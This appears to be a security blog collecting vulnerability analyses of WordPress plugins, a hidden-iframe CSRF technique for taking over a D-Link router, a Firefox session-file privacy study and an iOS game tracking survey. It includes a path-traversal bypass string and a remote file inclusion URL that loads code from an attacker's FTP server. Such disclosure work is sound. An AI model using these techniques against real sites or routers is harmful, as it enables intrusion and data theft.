WordPress Cimy User Manager arbitrary file disclosure

Advisory

Secunia Advisory SA 50834

Analysis of vulnerability

The Cimy User Manager is made to be able to export data from WordPress. The file cimy_user_manager.php has an init action which decides whether or not to download some content from the site:

First it checks if the cimy_um_filename POST variable is set. Then it goes to check if the referer is from the admin page, which is a flawed way of authentication. But if it thinks you come from the admin page, it will attempt to protect against path traversal. It is pretty obvious that we can fake the referer header. But we can quite easily bypass the path traversal. Lets have a look at an example.

Take this string: …/…//
Now lets see where we match ../:  .../...//
Which leaves us with: ../

This tells us that the path traversal “protection” on line 78 can be bypassed trivially.

Additionally, in the case where you’d want to obtain a wp-config.php file, which contains credentials and other very critical information about the blog, we do not need to bypass this, because when init is called, the working directory is the wordpress base folder, which contains the wp-config.php file. Here’s an example request showing how to pull the wp-config.php file:

 

WordPress Ungallery remote command injection vulnerability

Analysis of vulnerability

The Ungallery for WordPress offers functionality for searching for pictures in a gallery, which is implemented through the plain filesystem in search.php.

Note that the backtick character in PHP has a special meaning, as opposed to the ” and ‘. When you wrap something in 2 backtick characters, it will act as if the contents between them is passed to shell_exec. Note however that the $search variable, which is extracted from the search GET variable, is never sanitized before passed into the exec on line 28. This means that we can pull off a remote command injection with a simple request like this:

 

WordPress Crayon Syntax Highlighter remote file inclusion vulnerability

Advisory

Secunia advisory SA 50804

Analysis of vulnerability

The Crayon Syntax highlighter implements a vulnerable RPC-like system for AJAX in /util/ajax.php and /util/preview.php. Both files share these 3 lines of code as being the first ones in both:

So it apperas that at least it attempts to do some validation. Let us see how that is implemented in global.php(Included by crayon_wp.class.php):

So it calls crayon_is_php_file which checks if the provided path is a file, the extension is “php” and the filename is what is expected, which in this case is wp-load.php. In theory, this should be safe if we assume that is_file only returns true for local file. However due to is_file also supporting FTP, we can get it to return true for a remote file on a FTP server! This means that if the server allows url includes, we can do a remote file include from a malicious FTP server hosting a wp-load.php file through an URL like this, either through ajax.php or preview.php:

http://192.168.80.130/wordpress/wp-content/plugins/crayon-syntax-highlighter/util/ajax.php?wp_load=ftp://192.168.80.201/wp-load.php

Two-stage CSRF attacks

This week I ran into an interesting problem. I was doing some poking around with my DLink DIR-615(EU) router while working on some firmware reverse engineering. It occurred very quickly to me that the router had no protection against CSRF attacks. As with many other routers, the router also doesn’t enforce you to set a password for the Admin account, which simply sets it up for getting owned.

As it turns out, the vulnerability I found was already well-documented, but I saw no exploit which targeted both the CSRF attack and the default weak credentials in a single exploit. This would be needed for even a semi-reliable exploit to be delivered over the internet. I wondered why, and started investigating what would we required.

The target

The DLink DIR-615(EU) runs on a default IP(192.168.0.1) with default credentials being the Admin account with no password. The authentication system is kind of funky, in that on a successful authentication no cookie is set. Rather, it simply authenticates your local IP. I’ve not dug into this much further, but the short version of this story is that you either have to hope that the user has authenticated against the router somewhat recently, or you need to authenticate as a part of the attack.

The two requests we need to make to log in and do something to abuse this CSRF, such as change the admin password and enable remote management, are as following:

 

 The problem

In order to get a reliable CSRF exploit for this, we’d really like a single page we can send an user to, and it takes care of making these requests to do the exploit. But this turned out to be not quite so easy, and googling turned up very few suggestion for how to make several requests in order and time them correctly to allow authentication before the CSRF attack request. Here were some of the ways I tried:

Failed solution 1: A single page with 2 forms, calling document.formname.submit(); in sequence

This didn’t work. What ended up happening is that the login form wasn’t submitted. Also because we submit the form, we end up with the problem that the browser navigates to action URL. This is because of the default target of the form(_self).

Failed solution 2: A single page with 2 forms that has a target _blank or an iframe

Given the navigation issue I encountered in my first attempt, I started testing out how the target of the form affected things. As it turns out, modern browsers are really not big fans of iframes or new windows. Targeting a frame simply didn’t work. And when you use _blank as a target, the user has to explicitly allow it in modern browsers. In order to exploit this reliably, we can’t rely on user interaction.

Failed solution 3: XMLHttp requests

AJAX is wonderful. So I figured why not try and come up with a solution using XMLHttp and a bit of Javascript. This fell flat very quickly, as XMLHttp respects same origin policy.

The solution

A solution to this would require following:

  • Control of timing between requests
  • To still have control of the page the user loaded, even if the form navigates to a target.
  • No popups
  • Little, if any, indication to the user that their router is being owned

My solution ended up being a bit less neat. However it works quite well against any default browser without any noscript and such(Which would break most CSRF attacks requiring to post, unless you want to rely on user input). It’s quite a bit along the line of the idea of setting each form target to a different frame. But since I couldn’t get them to target an iframe in a single page, I split the payload into 3 parts.

  1. Landing page with 2 iframes, each containing their own payload
  2. A login request
  3. A delayed CSRF attack against the vulnerable page as desired

The main landing pages is quite simple, as it just loads each page for execution:

By setting the width and height, all you’re left with is a tiny dot on the screen. This could be mitigated by doing some styling potentially to render it off screen.

Second step is to log in. Here we rely on the fact that the admin user by default does not have any password set.

Nothing fancy really happens here. We just have to make sure that the user is authenticated for our second stage, which is the CSRF attack which exploits the real weakness in the router:

The key here is that while the first login iFrame is loaded straight away, we have to wait to make sure that the request happened. This could be anything from 5ms to a second. In this case, we wait 5000ms to be safe. This could likely be lowered a lot.

This was validated against the EU version of the D-Link DIR-615 with 8.0A firmware. And while it probably could be optimized quite a bit and made a lot prettier/subtle, it addresses something which I couldn’t find a solution to easily on Google/WAHHv2. This could potentially be a lot simpler against a target that accepts a GET requests to do the same. But this will work for both by simply changing the method in the form.

WordPress Zingiri Shop SQL injection vulnerabilities

Advisory
Secunia Advisory SA 49398

Analysis of  vulnerability

This vulnerability relies on a lack of validation in the Zingiri Web Shops IsAdmin function in /fws/includes/subs.inc.php from the fws_cust cookies. The method tries to determine if the user is an admin like this:

It splits(Explode!!) the fws_cust cookie by the # character, extracts a md5′ed password and an userID, and then fetches the corresponding user in the database. Notice however on line 232 and 235 that it does not sanitize the input, leading to a SQL injection. We can abuse this to forge a cookie which gives us admin rights using this simple python script:

Numerous other vulnerabilities were fixed that used same attack vector, as a result of copy paste. These can be found by here quite easily, and exploited the same way.

Firefox sessionstore.js and privacy

Introduction
Firefox, much like other browsers, has been allowing you to restore browser “sessions”, which will restore the state of any page loaded, url, referrer, tab location, title, form data, the size of the rendering, font zooming, scrolling done on the page, closed tabs, and other fun things.

Personally, I find this to be an extremely neat feature. I use it on a regular basis, since I’ll often be trigger-happy on my close tab hotkeys. So it’s all nice and dandy, right? Well, the problem is that Firefox obviously can’t tell what data is sensitive and what isn’t. It will assume a form field marked as password type to be bad to include, but could there be other concerns? The answer is: Yes. And unless users are aware, this could be potentially bad. Here we’ll take a look at what is stored by the browser, and how we can observe this.

Methodology
To test this, I had my VM with Procmon and a clean copy of the latest Firefox. Here are the steps taken to showcase this feature:

  • Open procmon, filter by firefox.exe
  • Open firefox
  • Browse to http://www.stuffbysarah.net/ (This was *entirely* random, as it was the first page I found with a Paypal donate button)
  • Click on the “Donate” Paypal button
  • Fill out some random information in the Paypal form for making a transaction (Note that I had not previously logged into Paypal from this machine, thus getting a form to do the full transaction)
  • Open a new empty tab
  • Close the Paypal tab which contains the sensitive information, such as credit card number
  • Close Firefox
  • Search Procmon for sessionstore.js

At this point we check out what is contained in the sessionstore.js file.

Contents of sessionstore.js
The sessionstore.js is a simple JSON file, hence the .js extension (It contains no actual JavaScript code). It is a serialized state of the windows, closed windows, tabs, history, and closed tabs which is persisted on a regular basis. Here are the contents, having followed the above mentioned steps:

Here are some things we can notice that the file contains:

  • A list of open windows
    • A list of tabs
      • Tab entries
    • Index of selected tab
    • Closed tabs
      • Tab entries
    • Width
    • Height
    • Screen X
    • Screen Y
    • Size mode
    • Title of window
    • Flag for if the window should restore
  • Index of window selected
  • A list of closed windows
    • A list of tabs
      • Tab entries
    • Index of selected tab
    • Closed tabs
      • Tab entries
  • Session information
    • State of the session
    • Time stamp for last update
    • Time stamp for when the session started
    • A flag for if the session crashed
  • Scratch pads (A developer tool)

We notice that the structure is two lists of windows(Open and closed), which contains two lists of tabs (Open and closed), and then a bit of extra data. Each tab then has a whole substructure to itself that is duplicated. If the page is no longer active (It may have been browsed away from), it will contain this:

  • URL
  • Title
  • ID
  • Document shell ID
  • Document identifier

But if it is active, it will contain a bunch more:

  • URL
  • Title
  • ID
  • Document Shell ID
  • Referrer
  • Document identifier
  • A list of children
    • URL
    • ID
    • Document Shell ID
    • Owner(base64)
    • Documentation identifier
    • Scroll state
  • Form data
  • Scroll state

All this will of course be a lot more complex to look at when more complex tab setups and browser history is present. This is by far the most simple I could make it by only just browsing enough to show the major aspects of it.

Private information in the file
What you may have noticed by now, if you look at the big bit of JSON above, is that form data is included in the file. This is something to be aware of, if you type sensitive information in.

Specifically, this is the bit where you have to be careful:

As you can tell, the full form I was presented with at Paypal has been stored in clear-text on my drive despite closing the tab and the window. An unaware user could think at this point that because they can’t see the window, that the inputted data is gone for good. That is however not the case.

I’ve tested this with password fields. These are not stored, for good reasons. But it is clear that non-password fields may and will often contain information which you may not want to

Mitigation options
If you’re concerned with data that may be present inadvertently in this file, you have a few options for dealing with this

Using private browsing mode
The private browsing mode is probably overkill for many. The danger with this feature is that it is not made explicitly clear to the user what is being stored. But if you have sensitive information you want to hide from the local machine, you should be using this anyway.

browser.sessionstore.resume_from_crash
This flag can be changed from the default value of true to ensure that if the browser crashes or otherwise unexpectedly closes, that it does not commit the sessionstore with this information. But this doesn’t disable the feature entirely.

browser.sessionstore.max_tabs_undo and browser.sessionstore.max_windows_undo
These two flags allow you to specifically set how many tabs and windows respectively are stored in cache. By setting these to 0, you can entirely disable this feature, causing no potentially sensitive information to be stored.

The manual approach
Another thing you can do, while not as foolproof, is to remove any information in form fields before closing a tab, which you do not want to be cached. While this works, it should be remembered that the possibility is still there if not careful! You can also clear private data from Firefox through the built-in options, which will clear this out. Again the problem becomes the fact it requires manual interaction, which depends on the user being aware of this information being cached.

WordPress GD Star Rating information disclosure vulnerability

Advisory
Secunia Advisory SA 49850

Analysis
The GD Star Rating plugin “allows you to set up advanced rating and review system for post types and comments in your blog using single, multi and thumbs ratings”. Through its admin interface, you can export some data, such as T2 templates and votes. The interesting thing it will allow you to do, is export user data. This will include userID, username, user email address, what vote was casted on which post, when the vote was cast, IP and user agent. However, a flaw exists in the code in export.php which allows for information disclosure of these values.

The file will import some configuration and export classes, and then start figuring out what to export. It then takes the “ex” value to determine the export type, “de” for the data to export(Article or comment data), and then “us” for how much data to export.

It calls into /cls/export.phps export_users function:

Here we see it takes in the “de”, “us”, and further get parameters and starts building up a SQL query to return. What we notice is that at no point so far have we seen any validation that the calling user is an admin. Also we notice that it checks the GET parameters “ip” and “ua”, which are used to toggle whether or not to return the IP and user agent information

Because of the lack of validation of the calling user, we can create an extremely simple request, which will export this data in clear text, including username, email, ip, and user agent.

WordPress Flexi Quote Rotator plugin multiple vulnerabilities

Advisory
Secunia Advisory SA 49910

Analysis
The admin interface of the Flexi Quote Rotator plugin for WordPress implements a way for editing a quote through the displayManagementPage function in /classes/quote-rotator-management.class.php.

It does so by checking the action GET parameter first. If it is “edit”, it will then concatenate the “id” GET parameter into a SQL query, and write the result out to the page. But because it does not correctly sanitize the “id” GET parameter, which causes a SQL injection. Also, this piece of code can be invoked without a nonce, which causes a CSRF vulnerability. Additionally, while it output-encodes the author and quote column, it does not encode the ID. This means we have two options for exploiting these 3 vulnerabilities:

  • Chaining the SQL Injection and the XSS in order to execute javascript in the admins browser
  • Chaining the SQL Injection and the CSRF in order to execute arbitrary SQL blindly

Here is an example of the former, where we trick the admin user into clicking on our specially crafted URL:

The hex value that we use in order to bypass the magic quotes which WordPress enforces was generated this way:

WordPress Symposium plugin multiple stored XSS vulnerabilities

Advisory
Secunia Advisory SA 49791

Analysis of add_to_page vulnerability
The first vulnerability in /ajax/symposium_ajax_functions.php in the “add_to_page” action relies on a lack of validation of the $current_user variable that is declared through global. The function allows you to append text to any arbitrary page, which can be abused for a XSS attack.

Because there is no validation of the user calling this action before this, as the $current_user variable is only just globally included at line 156, and no valididation is made in respect to it, we have a vulnerability since globally including a variable does not guarantee that it exists. Therefor you can call this while not being authenticated, and add a XSS payload to any page:

If you now load the frontpage(Which is by default page 1), you will now observe that it alerts out your cookie.

Analysis of add_new_page vulnerability
This vulnerability in /ajax/symposium_ajax_functions.php is very much like the first one. Again it’s a lack of validation of the current user. This function, rather than add content to an existing page, serves to allow an user to create a new page with some content(A shortcode specifically, but no validation is made that it is just that). This block of code might look big and scary, big in reality most of the lines are simply SQL queries.

This long bit of code will effectively take in any arbitrary text input and add a new page with said input. As there’s no validation of the current user being authenticated, leave alone being an user with appropiate privileges to do this, we can exploit this to pull off a persistent XSS by adding a new page:

Analysis of import_template_file vulnerability
The last vulnerability in /ajax/symposium_ajax_functions.php is a bit more fun, because it does not directly touch the DB in this code. Rather, it uses the symposium_update_import_snippet function to extraplote a value to insert into the database through update_option. By being a bit crafty with our request, we can once again cause a persistent XSS due to a lack of validation of the calling user, since we can ship our payload into parts of the template, many of which are used by *most* pages.

In our request, we need to add a bit of whatespace around our payload to allow for a margin of error, because the way it does the substringing isn’t that nice. This request will show how to do a simple alert, which will show on most pages on the site.

Analysis of iOS Games tracking traffic

Introduction
A little while ago, I spent a weekend analyzing a wide cross-section of applications from the iOS app store across all categories. You can read that right here. One specific topic that I had comments and questions about specifically was the games. The iPad, as an example, is not a bad gaming platform. And I know a lot of people who play free iPad games, and let their kids play them. So I figured I’d do a bit of a bigger dive into that specific category of applications and see what sort of information they track about you and your device.

I downloaded the top 25 applications on the games section of the iOS application store as of July 20th, 19:00 GMT. The list goes as following, with the number of outbound connections to different sites the application makes:

  • Fish with Attitude            14
  • CSR Racing                          8
  • Water? Free                        7
  • Battle Bears Royale         6
  • Ice Age Village                  5
  • Mutant Roadkill                5
  • Angry Birds Space Free 4
  • Fix-It Felix                          4
  • Shark Dash                           4
  • The Sandbox                       4
  • Flick Kick Football           3
  • Magic Puzzles                     3
  • SongPop Free                     3
  • Flow                                       3
  • Arms Cartel                        2
  • Betrayal HD                        2
  • My School Dance             2
  • Pyramid Run                     2
  • Super Pretzle Factory   2
  • Temple Run                       2
  • Bakery Store                     1
  • Bubble Mania                   1
  • Guess!                                  1
  • Subway Surf                     1
  • Major Mayhem               0

Stats
Here are some quick stats:

  • 25 applications
  • 48 different urls were used to track different information about the device
  • The application to communicate with the most servers was Fish with Attitude, talking to 14 different sites
  • The application to communicate with the least servers was Major Mayhem, being the only to not send any tracking information about the device
  • 11 of the servers were contacted over HTTPS (23%)
  • 37 of the servers were contacted over HTTP (77%)

Tracking sites top 10
Here is the top 10 of the different URLs that were observed to track information about the device:

- http://data.flurry.com                         15
- https://www.chartboost.com              9
- http://req.appads.com                           4
- https://ws.tapjoyads.com                     4
- http://e.apsalar.com                               3
- http://api2.playhaven.com                  3
- http://livewebapp.gameloft.com       2
- https://api.openfeint.com                     2
- http://googleads.g.doubleclick.net   2
- http://blog.analytics.tapulous.com  2

As we can see, there are a lot of similarities between this data and that of the Overview of iOS tracking traffic analysis. Flurry, Chartboost, and Tapjoy are again back, being extremely popular. Please see the previous article for analysis of the requests made by these.

Analysis of the other sites
Between the top 10 sites as listed above, here is what is being tracked by them.

  • Specific events in the game
  • OS version
  • Device version
  • Mac Address
  • Local IP Address
  • Mobile carrier
  • Unique identifiers
  • Radio type (WiFi or 3G)
  • Timezone
  • OS locale
  • Application identifier
  • Application version
  • Screen resolution and orientation
  • Time stamp

The big pictures

appads.com
appads.com is owned by the company “Burstly”. It is used for developers to sell applications to be shown in their applications. It communicates over plain HTTP, and will track a lot of different values about your device.

There are two hashed/encrypted fields, seemingly being related to the mac address of the device. Also it seems to be carrying across, or at least have keys allocated for, the IP address and carrier of the device. Neither were sent across for my device, possibly because it’s a WiFi iPad. But I found that very interesting. Beyond that:

  • Platform
  • Carrier
  • Device type
  • OS Version
  • OS Locale
  • Screen resolution
  • Application build
  • Device Family
  • Unique Identifier
  • Application identifier
  • Location country
  • Radio type (WiFi/3G)
  • encMAC(Encrypted mac?)
  • IP Address
  • mac(Hashed mac address?)

e.apsalar.com
Apsalar is a “mobile app analytics” platform, specifically focused as measuring “engagement”. It communicates over HTTP as well, and is very chatty. For instance, Battle Bears Royal made 13 requests over a period of 9 seconds. It specifically will also call back on specific events, such as game opened and other developer-specified events.

There appears to be a lot of encoded data sent across by this particular system. So we can’t see that much from this, but we can tell a few times:

  • Application identifier
  • Locale date
  • Radio type (WiFi in this case)
  • Platform
  • And then a lot of seemingly hashed data I can’t make very much out of.

api2.playhaven.com
Playhaven is a marketing platform for mobile games. It communicates over HTTP, and passes over the device UDID and a mac address.

We see that this sends across a nonce, which is quite interesting. These are generally used to prevent Cross-Site Request Forgery. It also transmits:

  • Mac Address
  • Device version
  • Unique identifier
  • A nonce
  • OS version
  • Application identifier
  • Connection (Radio type?)
  • A token
  • A signature
  • Application version

livewebapp.gameloft.com
Gameloft is a game developer which develops, publishes and distributes games for smartphones. Their games all talk to a couple of different domains. All of them are HTTP, but one application communicated with the livewebapp subdomain over both HTTP and HTTPS.

What is interesting in this case is that the first request, which says that the application is loading, has all data in plain text. The second request is sending across an “id”. But this ID is in fact simply a base64 encoded string of the very same data as that above. But we can tell it sends:

  • Application identifier
  • Country
  • Language
  • Application version
  • Device version
  • OS version
  • Mac Address (Unique identifier)
  • A timestamp

api.openfeint.com
Openfeint is probably the biggest social networking component used by major games. It adds features such as leaderboards, friends lists, and such thing. It communicates over HTTPS, as you’d expect from any sort of application that communicates large amount of data about your device.

## googleads.g.doubleclick.net ##
Doubleclick is your standard Google advertising platform. No sort of magic here. But for whatever reason, Google has opted to use HTTP here over HTTPS, which is very interesting.

It has a bit of seemingly hashed/encrypted content. And then a bunch of the normal content:

  • Language
  • Screen resolution
  • Device model
  • Application identifier

blog.analytics.tapulous.com
This one is a bit tricky. I was unable to easily locate a privacy policy for this service specifically. The domain it uses redirects directly to the Tap Tap Revenge Facebook page, which was the first game made by Tapulous. The company was acquired by Disney Interactive Studios in 2010, which explains why it is being used by a Disney application. But it communicates over HTTP, and is extremely verbose due to the use of POST forms rather than query-string parameters.

This tracks these values at specific events, much like Apsalar.

  • Method called
  • A signature
  • OS version
  • A token
  • Time stamp
  • Device version
  • API Key, but that seems to be a dummy one
  • Time Zone
  • Application version